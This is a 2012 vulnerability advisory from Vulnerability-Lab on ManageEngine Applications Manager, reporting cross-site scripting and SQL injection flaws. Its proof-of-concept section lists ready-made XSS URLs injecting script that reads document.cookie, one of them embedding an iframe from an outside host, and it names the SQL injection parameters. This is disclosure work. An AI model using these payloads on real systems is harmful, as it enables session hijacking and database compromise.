Title:
======
ME Monitoring Manager v9.x; v10.x - Multiple Vulnerabilities
Date:
=====
2012-01-27
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=115
VL-ID:
=====
115
Introduction:
=============
Mit dem ManageEngine Applications Manager knnen IT-Administratoren von Unternehmen und Datenzentrumsgruppen die
Leistung ihrer heterogenen Applikationen von einer einzigen Web-Konsole aus berwachen, bei Problemen Alarme
empfangen, Fehler suchen bzw. diagnostizieren, Tendenzen analysieren und Kapazitten mit Hilfe umfassender
Reports planen. Um den verschiedenen Ansprchen aller Administratoren gerecht zu werden, untersttzt der Applications
Manager wichtige Produkte. Diese sind in drei Kategorien aufgeteilt: Die Funktionalitt ?Application Server Monitoring?
bietet detailierte Informationen zu hufig verwendeter Software, wie z.B. Java/J2EE, Microsoft .NET, Oracle Application
Server und Tomcat. Von diesen Diensten hngen wiederum viele Anwendungen ab, so dass die Sicherung der Stabilitt dieser
Application Server essentiell ist. Auf der Seite der Datenbanken werden Protokolle und administrative Informationen zu gngige
Produkten, wie Oracle Datenbanken, MySQL und DB2 abgefragt und knnen direkt nach Abfrage Benachrichtigungen auslsen. Dies
hilft einzuschreiten, bevor kritische Zustnde erreicht werden. Schlussendlich vervollstndigt ?System Management? die drei
Kategorien, da neben den Applikationen und Datenbanken auch die Schicht darunter, die Betriebssysteme vom Applications
Manager berwacht werden. Dabei spielt es keine Rolle, ob Sie zum Beispiel Microsoft Windows, diverse Linux Distributionen
oder Mac OS verwenden.
(Copy of the Vendor Homepage: http://www.manageengine.com/)
Abstract:
=========
Vulnerability-Lab Team discovered multiple Vulnerabilities on Application Monitoring Manager by ManageEngine.
Report-Timeline:
================
2011-08-01: Vendor Notification
2011-**-**: Vendor Response/Feedback
2011-**-**: Vendor Fix/Patch
2012-01-27: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
Multiple non-persistent input validation vulnerabilities are detected (client-side).
Attackers can hijack customer/admin sessions via cross site scripting.
Vulnerable Module(s):
[+] ThresholdActionConfiguration
[+] PopUp_Graph
[+] Showresource
Picture(s):
../1.png
../2.png
../3.png
1.2
Multiple SQl Injection vulnerabilities are detected on the alert module & the ?periods parameter request.
Vulnerable Param(s):
[+] ?periods
--- SQL Error Logs ---
Syntax error or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near root at line 1 ; nested exception is: java.sql.SQLException:
Syntax error or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near root at line 1
Syntax error or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near root at line 1 ; nested exception is: java.sql.SQLException: Syntax error
or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near root at line 1
Picture(s):
../4.png
../5.png
Proof of Concept:
=================
The vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ...
1.1
Path: /jsp/
File: ThresholdActionConfiguration.jsp
Para: ?resourceid=10000579&attributeIDs=1902&attributeToSelect=1902&redirectto=
Path: ../jsp/
File: PopUp_Graph.jsp
Para: ?restype=QueryMonitor&&monID=10000499&resids=10003726&baseid=10000011&attids=10000113&listsize=1&attName=
Path: ../
File: showresource.do
Para: showresource.do?method=showResourceTypes&network=
References:
http://xxx.com/Search.do?query=%3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221&domain=all
http://xxx.com/jsp/ThresholdActionConfiguration.jsp?resourceid=10000579&attributeIDs=1902&attributeToSelect=1902
&redirectto=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
http://xxx.com/showHistoryData.do?method=getData&resourceid=10000054&attributeid=711&period=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221
http://xxx.com/showresource.do?method=showResourceTypesAll&group=All&selectedNetwork=
%3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221
http://xxx.com/fault/AlarmView.do?displayName=All%20Alerts&viewId=Alerts.5&header=
%3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221
http://xxx.com/showresource.do?method=showResourceTypes&direct=true&network=%3E%22
%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221&detailspage=true&listview=true
http://xxx.com/showresource.do?method=showResourceTypes&network=%3E%22
%3Ciframe%20src=http://global-evolution.info%3E&detailspage=true
http://xxx.com/jsp/PopUp_Graph.jsp?restype=QueryMonitor&&monID=10000499&resids=10003726&baseid=10000011&attids=10000113&listsize=1&attName=%3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221
http://xxx.com/fault/AMAlarmView.do?displayName=Traps Received&monitor=
http://xxx.com/showresource.do?method=showResourceTypes&detailspage=true&group=>"<script>alert(document.cookie)</script><div style="1
1.2
http://xxx.com/fault/AlarmView.do?&displayName=All%20Alerts&viewId=Alerts.[SQL-Injection]&header=fu&technician=pickUpAlarm
http://xxx.com/fault/AlarmView.do?displayName=Last%20one%20hour%20Alerts&viewId=Alerts.[SQL-Injection]
http://xxx.com/showHistoryData.do?method=getData&resourceid=10000054&attributeid=711&period=[SQL-Injection]
Risk:
=====
1.1
The security risk of the client-side vulnerabilities are estimated as low(+).
1.2
The security risk of the sql injection vulnerability is estimated as high.
Credits:
========
Vulnerability Research Laboratory - Pim J.F. Campers (X4lt) & Benjamin Kunz Mejri (Rem0ve)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright ? 2012|Vulnerability-Lab
--
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com